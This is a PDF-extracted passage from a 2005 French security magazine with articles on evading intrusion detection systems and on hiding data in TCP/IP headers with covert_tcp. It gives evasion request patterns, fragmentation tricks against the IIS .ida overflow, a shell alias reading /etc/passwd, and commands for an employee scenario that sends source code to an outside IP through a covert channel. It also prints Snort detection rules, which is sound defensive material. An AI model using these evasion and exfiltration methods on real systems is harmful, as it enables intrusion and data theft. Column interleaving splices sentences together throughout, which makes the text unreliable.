moyen d'une analyse de signature. deux lments diffrents : tre cod en tant que U+0061 sous
Cette analyse de signature signifie Unicode. Ainsi, la requte suivante :
en ralit que le systme de dtection GET /./././cgi-bin/././././
d'intrusion est programm pour inter- quelque_chose_de_dangereux.pl GET /himom.id%u0061 HTTP/1.0
prter certaines sries de paquets de HTTP/1.0
donnes ou bien certaines parties de ne gnrera aucune alerte. Ce type
donnes contenues dans ces paquets De mme, quelqu'un pourrait par de contournement des systmes de
comme une attaque. Par exemple, exemple taper la requte suivante : dtection d'intrusion est galement
un systme de dtection d'intrusion connu sous le nom de %u encoding
charg de surveiller des serveurs Web GET /cgi-bin/subdirectory/../ IDS bypass vulnerability ou vulnrabi-
pourrait tre programm pour cher- quelque_chose_de_dangereux.pl lit par codage %u pour contourner les
cher les paquets pigs ; une grande HTTP/1.0 systmes de dtection d'intrusion.
majorit de mthodes fait bien sr Divers outils sont disponibles
appel au protocole HTTP, mais, toutes Dans ce cas, nous demandons un pour tester les possibilits de con-
les donnes base de texte, telles que sous-rpertoire puis utilisons la tournement des systmes de dtec-

hakin9 N o 4/2005 www.hakin9.org 53


tion d'intrusion, mais le logiciel le
plus largement utilis en la matire Whisker outil anti-systme
est Whisker (voir lEncadr intitul de dtection d'intrusion
Whisker outil anti-systme de d- Whisker est un logiciel conu pour pirater les serveurs Web en contournant les syst-
tection d'intrusion). mes de dtection d'intrusion. Cet outil gnre de faon automatique une large varit
Considrons maintenant les d'attaques anti systme de dtection d'intrusion. Cette caractristique lui a valu le sur-
systmes de dtection d'intrusion nom de anti-IDS (AIDS). D'un point de vue technique, il s'agit d'un scanner CGI charg
au niveau des htes ou HIDS (Host- de trouver les vulnrabilits du Web.
based Intrusion Detection Systems). Les paramtres suivants sont la cause de certaines mthodes de contournement :
Si nous disposons dj d'un hte
-I 1 mode 1 de contournement des systmes de dtection d'intrusion (codage
fragilis et d'un HIDS, il nous faudra URL),
raliser quelques ajustements afin -I 2 mode 2 de contournement des systmes de dtection d'intrusion (insertion
d'viter le filtrage des signatures. des chemin des rpertoires /./),
Tous les systmes d'exploitation -I 3 mode 3 de contournement des systmes de dtection d'intrusion (fin pr-
d'aujourd'hui autorisent l'usage des mature d'une URL),
alias du shell et des variables d'envi- -I 4 mode 4 de contournement des systmes de dtection d'intrusion (longue
ronnement. Pour les systmes *NIX, URL),
un exemple assez dangereux res- -I 5 mode 5 de contournement des systmes de dtection d'intrusion (faux

semblerait la ligne suivante : paramtre),


-I 6 mode 6 de contournement des systmes de dtection d'intrusion (spara-
tion TAB inutilisable pour NT/IIS),
# alias list_p=`more /etc/passwd`
-I 7 mode 7 de contournement des systmes de dtection d'intrusion (sensibilit
la casse),
L'exemple suivant, pour Windows -I 8 mode 8 de contournement des systmes de dtection d'intrusion (dlimiteur
maintenant, serait tout aussi dange- Windows),
reux : -I 9 mode 9 de contournement des systmes de dtection d'intrusion (division
de session assez lent),
C:\> set shell=c:\winnt\system32\cmd.exe -I 0 mode 0 de contournement des systmes de dtection d'intrusion (mthode
NULL).
Avec un tel hte et des alias dfinis
Whisker dispose d'une autre mthode de contournement trs pratique appele division
correctement, taper le code list _ p
de session (session splicing). Cette mthode permet de diviser la chane en plusieurs
or %shell% /c dir c: ne gnrera paquets de donnes la fois de manire empcher l'appariement des chanes. Par
aucune alerte. exemple, si nous voulons envoyer la chane GET /, Whisker va la diviser en cinq pa-
quets contenant respectivement : G, E, T, 20 (reprsentation hexadcimale du caractre
Fragmentation espace) et /.
Le problme avec le rassemblage Afin d'viter de se faire piger par ces techniques, le systme de dtection d'intru-
des paquets fragments est que le sion devra comprendre entirement la session, tche difficile et lourde grer pour le
systme de dtection d'intrusion processeur. La rgle suivante de l'outil Snort dtecte un trafic dit Whisker destin au
doit conserver en mmoire le pa- port 80 avec un ensemble de drapeaux ACK, un espace (0x20) dans les donnes utiles
quet de donnes puis rassembler et un paramtre dsize de 1 (intercepte les deux premiers octets) :
intgralement ce paquet avant de le alert tcp $EXTERNAL_NET any ->
comparer la chane. Le systme de $HTTP_SERVERS 80 (msg:
dtection d'intrusion doit galement "WEB-MISC whisker space splice attack");
comprendre comment le paquet sera content:"|20|"; flags:A+; dsize:1;
rassembl par l'hte destinataire. reference:arachnids,296;
Les techniques les plus couran- classtype:attempted-recon; reference
tes de fragmentation sont les suivan-
Toutefois, il faut bien tre conscient que cette mthode est facilement modifiable dans le
tes : chevauchement de fragments
but de contourner un systme de dtection d'intrusion.
ou fragment overlap, crasement
Science

de fragments ou fragment overwrite


et temporisation de fragments ou un fragment qui crase des donnes fragment. Aprs le rassemblage
fragment time-out. issues d'un fragment prcdent. des paquets sur l'hte destinataire, la
Supposons que le premier frag- chane complte sera alors GET x.ida?.
Chevauchement de fragments ment contienne la chane GET x.idx, Sous le serveur Microsoft IIS ou sous
Le chevauchement de fragment sur- et que le second contienne la chane les systmes Windows dots du ser-
vient lorsqu'un hte, rassemblant a? (voir la Figure 3). Une fois les pa- vice d'indexation activ et avec ce
une squence de fragments, indique quets assembls, le second fragment bougue, cette chane gnrera un
que l'un des paquets reus contient crase le dernier octet du premier dbordement de tampon.

54 www.hakin9.org hakin9 N o 4/2005



Systemes de dtection d'intrusion

fragments), il pourrait s'agir d'une


Listing 1. Signature par dfaut de Snort pour dtecter le dbordement tentative de dbordement de tampon
de tampon .ida ou encore de quelques URL acci-
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80
dentelles (inexistantes).
(msg:"WEB-IIS ISAPI .ida attempt"; uricontent:".ida?"; nocase;
dsize:>239; flags:A+; reference:arachnids,552; Temporisation de la
classtype:web-application-attack; fragmentation
reference:cve,CAN-2000-0071; sid:1243; rev:2;)
La temporisation dpend du temps
que le systme de dtection d'intru-
sion passe stocker les fragments
dans le mmoire avant de se d-
barrasser du paquet de donnes.
La plupart des systmes tempori-
seront un fragment incomplet en 60
secondes. Si le systme de dtection
d'intrusion ne gre pas le fragment
en 60 secondes, il est alors possible
d'envoyer des paquets de la faon
suivante :

fragment 1 GET x.id avec la ba-


lise de MF (More Fragments),
Figure 3. Contournement d'un IDS par chevauchement de fragments
fragment 2 a? (X secondes plus
tard).

Si le systme de dtection d'intru-


sion ne conserve pas le fragment
initial pendant plusieurs secondes,
il est alors possible de contourner le
systme.
La fragmentation peut tre com-
bine d'autres techniques, comme
par exemple mettre un terme aux
valeurs de dure de vie. Si l'hte est
assez vulnrable derrire le systme
Figure 4. Technique de l'crasement de fragments de dtection d'intrusion, celui-ci
peut voir un paquet qui expire avant
d'avoir atteint l'hte destinataire :

paquet 1 GET x.id avec une du-


re de vie >2,
paquet 2 s _ evasion.html avec
une dure de vie =1,
paque 3 a? avec une dure de
vie >2.

Dans cet exemple, le systme de


dtection d'intrusion considrera la
Figure 5. Technique de temporisation de la fragmentation
requte comme tant GET x.ids _
Ecrasement de fragments fragment 1 chane GET x.id, evasion.html ; toutefois, si le deuxi-
La diffrence entre le chevauchement fragment 2 quelques lments me paquet se temporise avant son
de fragments et l'crasement de frag- alatoires, arrive chez l'hte, ce dernier verra
ments est que dans cette dernire m- fragment 3 chane a?. GET x.ida?.
thode, un fragment complet crase le Il est probable que la signature
fragment prcdent (voir la Figure 4). Selon la manire dont l'hte ras- par dfaut de Snort pour le dbor-
Supposons de nouveau que nous en- semble les fragments (s'il favorise par dement de tampon lors de la gestion
voyions trois fragments : exemple les vieux ou les nouveaux des fichiers .ida (voir le Listing 1)

hakin9 N o 4/2005 www.hakin9.org 55


n'intercepte aucune de ces techni-
ques de fragmentation (des excep- Glossaire
tions sont possibles si les codes de
prprocesseurs comme frag2 sont IDS (Intrusion Detection System) programme charg d'identifier des attaques ou
utiliss ce genre de code tant ex- des violations de scurit en surveillant les activits du rseaux et des htes.
cut avant le moteur de dtection). IPS (Intrusion Prevention System) logiciel charg de refuser l'accs des intru-
sions.
Toutefois, Snort dispose d'une
IDPS systme regroupant la fois les IDS et IPS.
signature pour dtecter les paquets
HIDS (Host Intrusion Detection System) systme de dtection d'intrusion fonc-
fragments : tionnant sur l'hte surveill et charg de chercher les intrus.
NIDS (Network Intrusion Detection System) systme de dtection d'intrusion
alert ip $EXTERNAL_NET any charg d'analyser de manire passive le trafic rseau, en cherchant les activits
-> $HOME_NET any (msg:"MISC illgales.
Tiny Fragments"; fragbits:M; NNIDS (Network Node Intrusion Detection System) solution hybride charge de
dsize: < 25; classtype:bad-unknown; rassembler les systmes de dtection d'intrusion au niveau du rseau, en n'ana-
sid:522) lysant toutefois qu'une partie (ou nud) du trafic rseau.
AIDS (Anti-IDS) outil anti-IDS permettant de contourner la dtection base de
De telles techniques peuvent gale- signature des IDS.
CIDF ensemble de composants dfinissant un IDS.
ment tre mises en chec. Dans le
Signature ensemble de rgles permettant un systme de dtection d'intrusion
cas d'un exploit .ida, l'URL requise
d'identifier une menace.
n'est pas de grande importance. Dbordement de tampon erreur survenant lorsqu'un programme ou un pro-
Vous auriez donc pu excuter l'at- cessus tente de stocker plus de donnes dans un tampon (zone de stockage de
taque frontale avec de nombreuses donnes temporaire) que la place prvue cet effet.
donnes parasites afin d'viter le
dclenchement d'une rgle de frag-
ment : dans le tampon et la mmoire est prpares en fonction d'un nouveau
fragilise. Les paquet entrants type d'attaques DoS, ce n'est qu'une
paquet 1 GET une _ longue _ sont alors omis, bien entendu. Par question de temps.
chane _ rendant _ impossible _ ailleurs, si quelqu'un gnre un trafic
la _ dtection.com, chaotique considrable, une grande Le combat ternel
paquet 2 a?. partie de la mmoire est alors requi- Il est probable que certaines tech-
se afin de rassembler les donnes, niques dcrites ci-dessus ne soient
Dug Song a sorti l'outil fragroute, ayant pour effet de provoquer une plus valides ou ne le sont qu'avec
charg de contrler de nombreu- insuffisance de mmoire pour les certains outils de dtection d'intru-
ses vulnrabilits lies la frag- paquets entrants. Le trafic d'IP frag- sion particuliers, mais la logique de
mentation. Snort vient rcemment ments requiert un grand nombre de ces techniques reste la mme. Les
d'implanter des contrles et des cycles de l'unit centrale ce qui peut fausses attaques positives et nga-
mthodes afin d'intercepter un plus s'avrer coteux galement. tives, les attaques DoS etc. rendent
grand nombre de ruses au niveau du De toute faon, un attaque classi- ces systmes inoffensifs en tant que
rseau. Un nouvelle sortie officielle que par flux ncessite plusieurs sys- mcanismes de scurit tant que
devrait donc contenir un bon nombre tmes afin de dpasser les capacits ces derniers ne sont ni configurs
de ces contrles. en pleine expansion des systmes ni maintenus correctement. L'ajout
de dtection d'intrusion, alors que de pots de miel, de systme de
Attaques Denial l'exploitation d'un bogue n'a besoin protection contre les intrusions etc.
of Service (DoS) que d'un seul systme (mais est plus aux systmes grs en rseau ne
L'objectif d'une attaque DoS sur- difficile raliser que la premire at- manquera pas de les aguerrir contre
charger le systme de dtection taque). Les signatures sont toujours les risques de plantage. n
d'intrusion de manire le faire
planter. Le but est atteint en fragili-
Science

sant la disponibilit des ressources Sur Internet


du systme, en sous-alimentant
http://www.monkey.org/~dugsong/fragroute la page d'accueil de l'outil fragroute,
les processus, en puisant les es- http://www.snort.org le site de Snort : programme, documentation et signatures,
paces consacrs au dbit rseau, http://www.wiretrip.net/rfp le scanner CGI Whisker,
la mmoire, l'unit centrale http://sans.org/rr une mine de documentation technique sur les solutions des
et au disque. Si quelqu'un cre trop systmes de dtection d'intrusion,
de trafic rseau, la capacit du syst- http://www.microsoft.com/technet/security/bulletin/MS01-033.mspx le bogue
me de dtection d'intrusion copier de dbordement de tampon lors de la gestion de fichiers .ida.
des paquets partir d'un transfert

56 www.hakin9.org hakin9 N o 4/2005


Stganographie rseau
dissimuler des donnes
dans les en-ttes TCP/IP
ukasz Wjcicki

Les possibilits d'exploitations


des fins dtournes, de
certaines modalits structurelles
d'application du protocole
TCP/IP, ont contribu ce que
le masquage de donnes, dans
les datagrammes rseaux qu'il
contient, puisse devenir un
danger important, ou tout le
moins, soit considr en tant que
tel. La stganographie rseau,
ainsi nomme lorsqu'il s'agit de
cela, utilise les bits redondants
prsents dans les champs
obligatoires et facultatifs des en-
ttes TCP du mme protocole.

S
tganographie : (en grec steganos de
Stgo, Stgein couvert, serr, dissi- Cet article explique...
mul ; en franais graphie, suffixe tir
du grec : Graph criture, exprimant l'ide de comment dissimuler des donnes dans les en-
ttes TCP et IGMP,
dessin, signes : org. grec Graphein graver,
comment utiliser l'application covert_tcp dans
crire, dessiner). Traduit du grec, ce terme
le domaine de la communication en rseau.
signifie une criture dissimule/cache, avec
la notion de sous couvert de, en tant compris
l'intrieur de. Les dbuts de la stganographie
Ce qu'il faut savoir...
remontent en fait l'Antiquit o dja les Anciens connatre le modle ISO/OSI qui relve de l'Ar-
tentaient de mettre des informations l'abri du chitecture des Rseaux,
regard des autres. On crivait, par exemple, les avoir au moins une connaissance de base de la
messages sur du bois qui tait ensuite recouvert famille de protocoles TCP/IP.
de cire sombre empchant ainsi la lecture par
opacit. En stganographie, on tente en plus,
de masquer la volont mme, de communiquer ;
ce qui la distingue de la cryptographie classique, propos de l'auteur
ukasz Wjcicki poursuit ses tudes doctorales
o l'on encrypte l'information de tel sorte, qu'elle
Science

l'cole Polytechnique de Varsovie. Jusqu'


devienne incomprhensible, pour les personnes
prsent, il a coopr avec plusieurs services
/parties non autorises qui pourraient y accder
d'information ; il a galement de l'exprience
dans sa forme crypte. dans l'administration des rseaux d'ordinateurs.
La stganographie rseau, qui consiste Actuellement, il surveille l'un des serveurs de
dissimuler des informations l'intrieur du pro- l'Institut de Tlcommunication l'cole Po-
tocole de communication utilis est l'une des va- lytechnique de Varsovie et il travaille dans la
riantes de la stganographie standard. Pour ces socit Softax (http://www.softax.pl) en tant
protocoles, la notion du canal cach est en usa- que dveloppeur.
ge (covert channel). Ainsi, grce au canal cach,

58 www.hakin9.org hakin9 N o 4/2005


Stganographie rseau

informations destination ou en pro-


Protocole TCP/IP venance de rseaux protgs.
Le protocole TCP/IP fournit un ensemble de rgles, smantiques et syntaxiques,
ncessaires au fait de communiquer. Celles-ci comprennent et fixent les dtails en ce Cl au canal
qui concerne : le format du message, le support des rponses une requte donne, Le schma d'envoi des informations
et la gestion des erreurs. Le protocole est totalement indpendant des lments qui en stganographie rseau est pr-
composent ou font partie du rseau. sent sur la Figure 2. Un objet cach
TCP/IP est une famille de protocoles et de logiciels mettant disposition plusieurs (en anglais cover object) est un pa-
services rseaux ; c'est aussi une des solutions de base employe pour transmettre
quet de donnes Pk. Il sert mas-
les donnes via Internet.
quer ou cacher les informations.
La famille de protocoles TCP/IP est base sur la structure dite : modle en couche
Internet. La communication entre les ordinateurs se droule au niveau des couches
Pour pouvoir les cacher, il faut tout
correspondantes du modle, et, chaque couche, y dispose de son propre protocole d'abord crer un paquet stganogra-
de communication. Sur le rseau informatique rel, la communication est ralise uni- phique (en anglais stego-network
quement par le biais du niveau constitu par la couche physique prsente sur chaque packet) Sk. L'expditeur cache
machine. l'information Ck destine au desti-
La famille de protocoles TCP/IP ne garantit pas la scurit lors du transfert des nataire dans un paquet de rseau
informations vous n'y trouverez pas la garantie d'intgrit des donnes envoyes stganographique. Le paquet Sk est
ou l'authentification de l'expditeur des paquets. Dans certains cas, le fait d'utiliser la cr la base des paquets Ck et Pk.
redondance peut neutraliser les lacunes de scurit du protocole, mais son utilisation Il est galement possible d'utiliser
est galement une ouverture l'utilisation des canaux cachs (covert channels).
la cl secrte connue seulement de
l'expditeur et du destinataire.
Comme le processus de trans-
il est alors possible d'envoyer de l'in- possible d'exploiter certaines de ses mission des donnes ne se droule
formation pralablement dissimule structures o fonctionnalits de mise pas dans un canal idal, il existe
aux seules parties choisies, et de en application, pour atteindre un but donc des paquets stganographique
dtecter et rcuprer les donnes dtourn caractre bien souvent Sk* gnrs par hasard. Du point de
du cot du destinataire. La notion malveillant. Il est donc bon de bien vue de la communication rseau, si
de canal cach est explique sur la connatre, ce qui se rvle tre, les une telle situation a lieu, l'ordre des
Figure 1. faiblesses des protocoles appartenant paquets envoys risque de ne pas
La possibilit de cacher un mes- la famille TCP/IP (voir l'Encadr Pro- tre respect, ce qui influencera le
sage est lie un protocole de com- tocole TCP/IP) et plus prcisment contenu du message cach (Ck*).
munication dont il s'avre qu'il soit celles permettant de faire passer des Le mme paquet stganogra-
phique peut cependant passer par
plusieurs nuds intermdiaires
avant d'arriver au destinataire. Le
principe est que le covert channel
ne peut pas tre dtect. Autrement
dit, les nuds intermdiaires ne
peuvent pas noter la diffrence entre
les paquets Pk et Sk. La situation o
un paquet stganographique Sk sera
rejet (en anglais drop) cause de la
petite taille de la mmoire tampon du
Figure 1. Canal cach (covert channel) destinataire peut galement survenir.

Figure 2. Stganographie rseau schma d'envoi des informations

hakin9 N o 4/2005 www.hakin9.org 59


Dans les algorithmes proposes,
la situation de ce type n'est pas prise
en compte si un paquet Sk gagne
le destinataire, il est soumis l'algo-
rithme de dtection afin d'obtenir une
information cache.

Manipuler les champs


redondants dans les
en-ttes du paquet
La manipulation des champs redon-
dants dans les en-ttes du paquet
peut tre l'un des algorithmes st-
ganographiques. Il arrive souvent Figure 3. En-tte du protocole TCP
que lors de la transmission, tous les
champs compris dans l'en-tte du
paquet ne soient pas ncessaires
un moment donn. Il est donc
possible de les utiliser afin de faire Figure 4. Combinaison redondante des bits
passer les diffrents messages.

TCP
Drapeaux des paquets TCP
Le protocole couche de transport URG (urgent) indicateur du mode urgent. Il informe si l'expditeur a pass en
TCP (voir lEncadr Couches du mode urgent du protocole TCP. Cela a lieu lorsque quelque chose d'important se
protocole TCP/IP) a t conu pour produit un bout de la connexion et lorsqu'il faut en informer le plus vite possible
crer des connexions infaillibles en- l'autre partie.
tre les priphriques rseau dans ACK (acknowledgement) signifie qu'un participant de la connexion envoie un
un environnement rseau compos. accus de rception (en anglais acknowledgment) pour confirmer la rception d'un
Pour voir l'en-tte du protocole TCP, paquet de donnes.
PSH (push) si ce drapeau est dfini, le module de rception TCP doit transmettre
reportez-vous la Figure 3.
les donnes l'application le plus vite possible (mthode push).
L'en-tte du paquet TCP comprend
RST (reset) signifie la mise zro de la connexion.
un champ Drapeaux de 6 bits. Les bits SYN (sync) signifie un segment de donnes comprenant un numro de squen-
en question (voir l'Encadr Drapeaux ce initial qu'un participant va envoyer via cette connexion.
des paquets TCP) dfinissent la FIN (finish) signifie qu'un segment donn finit l'envoi des donnes.
destination et le contenu du segment
TCP. la base de leur contenu, un
nud rseau sait comment interpr-
ter les autres champs dans l'en-tte. Couches du protocole TCP/IP
Il existe 64 diffrentes combinaisons Couche d'interface rseau reoit les datagrammes IP et les envoie via un rseau
des paramtres pour les bits donns donn.
certaines sont redondantes, ce qui Couche d'inter rseau elle est responsable de la communication entre les machi-
permet de crer les canaux cachs. nes. Elle reoit les paquets de la couche de transport avec les informations ayant
La plupart des segments TCP pour but d'identifier le destinataire, elle encapsule le paquet dans le datagramme IP,
possdent le bit ACK positionn elle remplit son en-tte, elle vrifie si le datagramme doit tre envoy directement
(la valeur du bit ACK est gale au destinataire ou au routeur et elle transmet le datagramme une interface r-
1) cela rsulte du fait que la seau.
Couche de transport sa tche principale est d'assurer la communication entre
connexion TCP est ralise dans les
Science

les logiciels d'utilisateur. Cette couche peut rgler le transfert des informations.
deux sens ; c'est--dire en mode de
Elle peut galement assurer son infaillibilit. Pour cela, elle organise l'envoi d'un
fonctionnement bidirectionnel simul-
accus de rception par le destinataire et le nouvel envoi des paquets perdus par
tan (en anglais full duplex). l'expditeur.
La combinaison redondante Couche de logiciels utilitaires un niveau suprieur, les utilisateurs appellent
des bits tmoins peut se prsenter les logiciels utilitaires ayant l'accs aux services TCP/IP. Les logiciels utilitaires
comme celle sur la Figure 4. Son in- cooprent avec l'un des protocoles de communication au niveau de la couche de
terprtation est la suivante : un parti- transport et ils envoient ou reoivent les donnes sous la forme des messages ou
cipant de la connexion envisage de du flux d'octets.
mettre fin l'change des donnes

60 www.hakin9.org hakin9 N o 4/2005


Stganographie rseau

(FIN = 1) et il envoie, en mme


Datagrammes temps, un accus de rception (le bit
Le datagramme est une unit de base des donnes envoyes, contenant l'en-tte et ACK est positionn). Le bit PSH est
les donnes. L'en-tte du datagramme comprend l'adresse de l'expditeur et du des- galement dfini pour envoyer im-
tinataire et un champ de type identifiant le contenu du datagramme. La datagramme mdiatement la requte la couche
(voir la Figure 5) ressemble une trame du rseau physique. La diffrence est que d'application. Jusqu' ce que le bit
l'en-tte de la trame comprend les adresses physiques et que l'en-tte du datagramme URG (urgent) ne soit pas positionn,
est constitu des adresses IP. La solution o un datagramme est transmis par la trame un segment TCP envoy comprend
rseau est appele l'encapsulation. Le datagramme se comporte alors comme tout
16 bits redondants. Ceux-ci peuvent
autre message envoy d'une machine l'autre et il se dplace dans la partie de la
tre utiliss comme un canal cach.
trame rseau rserve aux donnes (Figure 6).
La mme redondance existe
galement dans tous les cas o le
bit URG n'est pas positionn. Le bit
SYN positionn peut crer gale-
ment des combinaisons avec un bit
ACK dfini ou les bits URG/PSH (les
deux ne peuvent pas tre position-
ns en mme temps). Si c'est le cas,
les autres valeurs des bits sont sans
importance et il est toujours possible
de crer des covert channels.

IGMP
La diffusion multiple (en anglais
multicasting) consiste envoyer les
donnes seulement un groupe
donn des priphriques rseau.
Les routeurs et les htes supportant
Figure 5. Structure du datagramme IP la diffusion multiple doivent utiliser le
protocole IGMP pour changer les
informations au sujet de l'apparte-
nance des htes donns un groupe
spcifi de ce type de diffusion.
Dans le protocole IGMP, il existe
deux types de messages :

les messages de rapport (en


Figure 6. Position du datagramme dans la trame rseau
anglais report messages) ; en-
voys de l'hte au routeur se
connecter au groupe, appartenir
Champs du protocole IGMP toujours au mme groupe, quitter
Type de message IGMP (8 bits). le groupe,
Temps maximal de rponse (en anglais max response time) occupe 8 bits ; il est les messages de requte (en an-
prsent seulement dans les messages de requte et il dfinit le temps maximal glais query messages) ; envoys
entre l'envoi de la requte d'appartenance un groupe donn (en anglais host du routeur l'hte surveiller le
membership query) et la rception du rapport d'appartenance un groupe donn groupe.
(en anglais host membership report) ; pour les autres types de messages, ce
champ a la valeur 0 et il est ignor. Lors de la transmission, IGMP est
Somme de contrle (16 bits).
encapsul dans le datagramme IP
Adresse du groupe (32 bits) pour les messages de requte gnrale, dans le
voir l'Encadr Datagrammes.
cas o une requte est dirige vers tous les groupes, ce champ est positionn
La longueur du message IGMP est
0 (en anglais general query). Il prend une adresse donne du groupe si la requ-
te est envoye un groupe spcifique (en anglais group-specific query). Pour les fixe et elle est de 8 octets (voir gale-
messages de rapport concernant l'appartenance un groupe donn (en anglais ment l'Encadr Champs du protocole
membership report), ce champ a la valeur de l'adresse du groupe concern par IGMP). Lors de son encapsulation
la diffusion multiple et pour les messages d'abandon de groupe (en anglais leave dans le datagramme IP, le champ du
group message) l'adresse du groupe quitt. protocole a la valeur 2. Le message
IGMP est encapsul dans le data-

hakin9 N o 4/2005 www.hakin9.org 61


gramme IP de sorte que la partie fixe
de l'en-tte IP occupe 20 octets et le
message IGMP 8 octets. Le paquet
comprenant IGMP se dplace sur le
rseau selon les rgles standard :
il peut tre perdu, dupliqu ou d'autres
erreurs peuvent se produire.
Dans la situation idale, le da-
tagramme entier se tient dans une
trame physique. Pourtant, cela n'est
pas toujours possible. Il est ainsi vu
que le datagramme peut se dplacer
via les diffrents rseaux physiques
dont chacun dispose d'un nombre li-
mite des donnes envoyer dans une
trame. Ce paramtre du rseau s'ap-
pelle l'unit maximale de transmis-
sion d'un rseau donn (en anglais
Maximum Transfer Unit MTU).
La limitation de la taille des data-
grammes de sorte qu'ils correspon-
dent une MTU la plus petite serait
inefficace si l'on passait travers des
rseaux capables de transmettre les
cadres de taille suprieure. Si un da-
Figure 7. Message IGMP encapsul dans l'en-tte IP tagramme ne tient pas dans une trame
physique, il est dcoup en plus petits
morceaux appels les fragments
le processus lui-mme s'appelle la
fragmentation. Une fois que les data-
grammes fragments gagnent le desti-
nataire, ils sont soumis un processus
inverse, savoir la dfragmentation.
En outre, chaque fragment comprend
une en-tte o la plupart du contenu
de l'en-tte du datagramme initial est
dupliqu (sauf le champ Instructions
indiquant que c'est un fragment).
Les messages IGMP sont dis-
Figure 8. Matrice des combinaisons des bits redondants dans l'en-tte IP ponibles sous les deux formes sui-
avec un message IGMP vantes :

le rapport d'appartenance un
groupe donn (en anglais host
membership report) et le mes-
sage informant sur la sortie du
groupe (en anglais leave group
message) ; les messages sont
Science

envoys de l'hte au routeur,


le message de requte concer-
nant l'appartenance un groupe
donn (en anglais membership
query message) ; le message est
envoy du routeur l'hte.

En prenant en compte les informa-


Figure 9. Utiliser le champ Identification expditeur tions ci-dessus sur le protocole IGMP,

62 www.hakin9.org hakin9 N o 4/2005


Stganographie rseau

il est possible de distinguer les types Une mthode de ce type est utilise cachs (les champs redondants sont
de datagrammes IP suivants : par l'application covert_tcp cre par souvent filtrs par les priphriques
Craig H. Rowland. Aprs avoir mo- rseau adquats).
de l'hte au routeur avec la frag- difi le code, l'application peut servir L'application en question uti-
mentation autorise, galement cacher les informations lise les champs obligatoires suivants
de l'hte au routeur la fragmen- dans les champs redondants prsents dans l'en-tte du protocole TCP/IP :
tation est interdite, dans les en-ttes des protocoles. co-
du routeur l'hte avec la frag- vert_tcp n'utilise pas la dernire possi- le champ Identification dans
mentation autorise, bilit tant donn qu'il est facile de se le datagramme IP c'est un
du routeur l'hte la fragmenta- protger contre ce type de messages champ unique utilis dans le
tion est interdite.

Pour la structure approprie du


datagramme IP l'un datagramme
aprs l'autre, de 16 bits on reoit
la matrice 16x16 (voir la Figure 8).
L'objectif est d'employer 8 bits non
utiliss dans les rapports d'apparte-
nance IGMP et 16 bits positionns
0 par l'expditeur dans les requtes
concernant l'appartenance IGMP.
Le format du message IGMP encap-
sul dans l'en-tte IPv4 est prsent
sur la Figure 7.
En disposant de la matrice 16x16
ainsi cre, il est noter que ses Figure 10. Utiliser le champ Identification destinataire
rangs qui sont aux numros :

2, 5, 11, 12, 13 pour les messa-


ges de rapport IGMP (avec la
fragmentation autorise),
2, 4, 5, 11, 12, 13 pour les mes-
sages de rapport IGMP (la frag-
mentation interdite),
2, 5, 11, 12, 15, 16 pour les requ-
tes IGMP (avec la fragmentation
autorise),
2, 4, 5, 11, 12, 15, 16 pour les
requtes IGMP (la fragmentation Figure 11. Rsultat de fonctionnement du logiciel Nmap sur le rseau de
interdite), communication stganographique

peuvent tre utiliss pour faire pas-


ser les informations caches via le
rseau TCP/IP.

Manipuler les champs


obligatoires dans les
en-ttes du paquet
la diffrence de la mthode em-
ploye auparavant, un message
peut tre galement cach dans les
champs obligatoires de l'en-tte du
protocole. Il s'agit des champs qui
doivent toujours tre dfinis lors de la
transmission. Il en est ainsi grce la
prparation adquate de leurs valeurs. Figure 12. Transmission stganographique expditeur

hakin9 N o 4/2005 www.hakin9.org 63


processus de fragmentation/
dfragmentation des paquets,
le champ Numro de squence
(en anglais Sequence Number)
dans le paquet TCP,
la champ Numro d'accus de
rception (en anglais Acknowled-
gment Number) dans le paquet
TCP.

L'application covert_tcp est dispo-


nible en tlchargement depuis la
page http://www.firstmonday.dk/
issues/issue2_5/rowland/index.html.
Pour la compiler sous Linux, tapez la
commande suivante :
Figure 13. Transmission stganographique destinataire
$ cc -o covert_tcp \
covert_tcp.c

Manipuler le champ
Identification dans le
datagramme IP
Cette mthode consiste remplacer
la valeur originale par la valeur ASCII
d'un caractre donn. Si l'une des
parties veut faire passer un message
donn via le port 80, par exemple
elle doit dmarrer le logiciel en ta-
pant la commande suivante :

Figure 14. Utiliser le champ Numro de squence expditeur


$ covert_tcp \
-source <IP de l'expditeur> \
-dest <IP du destinataire> \
-file <fichiers avec les donnes
envoyer>

Pour recevoir les donnes, l'autre


partie doit galement dmarrer l'ap-
plication covert_tcp mais en mode
serveur :

$ covert_tcp \
-source <IP de l'expditeur> \
-server \
-file <fichier avec les donnes
enregistrer>

Figure 15. Utiliser le champ Numro de squence destinataire


Science

Le ct expditeur est prsent sur


la Figure 9 et le ct destinataire
peut tre consult sur la Figure 10.
La situation o un employ mal-
Sur Internet
honnte vole le code d'un logiciel http://www.firstmonday.dk/issues/issue2_5/rowland/index.html Craig H. Rowland,
peut tre un exemple d'utilisation Covert channels in the TCP/IP Protocol Suite,
du texte cach dans l'en-tte du http://www.faqs.org/rfcs/rfc1180.html le rseau TCP/IP,
protocole. Admettons que l'employ http://www.faqs.org/rfcs/rfc2236.html le protocole IGMP.
se trouve derrire un firewall avec le

64 www.hakin9.org hakin9 N o 4/2005


Stganographie rseau

port 80 ouvert (le rsultat du scanner le client doit confirmer la rcep- valeur ASCII d'un caractre qui
Nmap affichant les ports ouverts est tion du segment SYN en prove- vous intresse. Si l'une des parties
prsent sur la Figure 11). nance du serveur. veut faire passer un certain mes-
Il peut alors taper (Figure 12) la sage du port source 20 au port
commande suivante sur un ordina- Dans ce cas, il est galement pos- destination 20, par exemple elle
teur de socit : sible de remplacer la valeur origi- doit dmarrer l'application via la
nale du numro des donnes par la commande suivante :
$ covert_tcp \
-dest 194.29.169.135 \
-dest_port 80 \
-seq -file code.c

De mme, aprs tre rentr la mai-


son, il disposera d'un code appropri
dans un fichier spcifi condition
qu'il ait tap au pralable la com-
mande suivante sur son ordinateur
domestique (Figure 13) :

$ covert_tcp \
-source_port 80 \
-server -seq \
-file resultat.txt

Utiliser le champ Numro de


Figure 16. Schma de transmission utilisant le rebondissement ACK du
squence du segment TCP
protocole TCP
Le numro de squence initial ISN (en
anglais Initial Sequence Number) sert
assurer la fiabilit de la connexion
TCP/IP. Il est utilis dans le processus
de poigne de mains en trois phases
(en anglais three-way handshake) du
protocole TCP. Ce processus se d-
roule selon le scnario suivant :

un logiciel TCP du client envoie


un segment de donnes SYN (en
anglais synchronize) contenant
un numro de squence initial
que le client va envoyer lors de
